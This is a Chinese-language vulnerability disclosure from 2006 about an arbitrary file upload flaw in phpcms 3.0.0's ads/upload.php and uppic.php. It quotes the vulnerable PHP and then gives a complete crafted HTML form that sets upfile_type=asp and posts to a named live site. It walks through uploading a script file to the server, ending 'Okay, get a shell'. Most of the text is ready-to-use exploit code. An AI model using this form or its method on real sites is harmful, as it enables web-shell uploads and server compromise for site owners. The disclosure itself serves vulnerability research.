phpcms 3.0.0文件上传漏洞
信息来源:红狼安全小组
Bug find by cooldiyer @ 2006/11/12 17:15
漏洞文件: ads/upload.php、uppic.php
代码如下:
require "common.php";
require PHPCMS_ROOT."/class/upload.php";
if(!$_userid) message("请您先登录或注册!" , PHPCMS_PATH."member/login.php");
if($extid==1) {
$upfile_type= "jpg|png|gif";
} elseif ($extid==2) {
$upfile_type= "swf";
}
if($action=='upload')
{
$fileArr = array(
'file'=>$uploadfile,
'name'=>$uploadfile_name,
'size'=>$uploadfile_size,
'type'=>$uploadfile_type
);
$showname= $fileArr['name'];
$tmpext=strtolower(fileext($showname));
$tmpfilesize=$fileArr['size'];
$savepath = 'ads/'.$upfile_dir.'/'.date('Ym');
$f->create(PHPCMS_ROOT."/".$savepath);
$up = new upload($fileArr,'',$savepath,$upfile_type,1,$upfile_size);
...........
很显然,upfile_type变量过滤不够严格,可以自定义上传类型,实践得知可以上传除*.php和*.php3的其它任意后缀的文件,
因为PHPCMS_ROOT."/class/upload.php"这个文件经过Zend加密,所以无法直接分析。
if(!$_userid) message("请您先登录或注册!" , PHPCMS_PATH."member/login.php");
$_userid是靠session获取的,所以注册个用户,登录后,开始利用漏洞,修改后的上传页面如下
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>上传</title>
<meta name="keywords" content="">
<meta name="description" content="">
<meta name="generator" content="Phpcms ">
<link href="/templates/default/skins/default/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<script language="javascript" type="text/javascript">
<!--
function checkform()
{
if(document.getElementById("uploadfile").value=='') { alert("请选择要上传的文件!"); return false;}
}
//-->
</script>
<table cellpadding="0" cellspacing="0" border="0" width="100%" height="5">
<tr>
<td ></td>
</tr>
</table>
<form name="upload" method="post"
action="http://www.phpcms.cn/ads/upload.php?action=upload&url=&upfile_type=asp" enctype="multipart/form-data" onSubmit="return checkform();">
<table cellpadding="2" cellspacing="1" class="tableborder">
<tr>
<th>文件上传</th>
</tr>
<tr>
<td class="tablerow" height="30">
选择:<input name="uploadfile" type="file" id="uploadfile" size="20" />
<input type="hidden" name="MAX_FILE_SIZE" value="" />
<input type="hidden" name="channelid" value="0" />
<input type="submit" name="submit" value=" 上传 ">
</td>
</tr>
</table>
</form>
</body>
</html>
现在可以上传asp文件了,用登录后的窗口打开这个文件(保存session),上传的文件名后缀跟form表单里action属性的upfile_type变量是一样的,上传后返回页面源代码如下:
<script>
var ctl_hurl=window.opener.document.getElementById("");
var ctl_upbutten=window.opener.document.getElementById("upload");
ctl_hurl.value="ads/uploadfile/200612/20061206054522605.asp";
ctl_hurl.style.background="white";
self.close();
</script>
Okay, get a shell
还有uppic.php也有同样漏洞,漏洞代码如下
include PHPCMS_ROOT."/class/upload.php";
$fileArr = array('file'=>$uploadfile,'name'=>$uploadfile_name,'size'=>$uploadfile_size,'type'=>$uploadfile_type);
$uploadfiletype = $uploadfiletype ? $uploadfiletype : $_PHPCMS['uploadfiletype'];
$savepath = $uploaddir ? $channeldir."/".$uploaddir."/".date("Ym")."/" : $_PHPCMS['uploaddir']."/".date("Ym")."/";
利用原理一样………………. -:)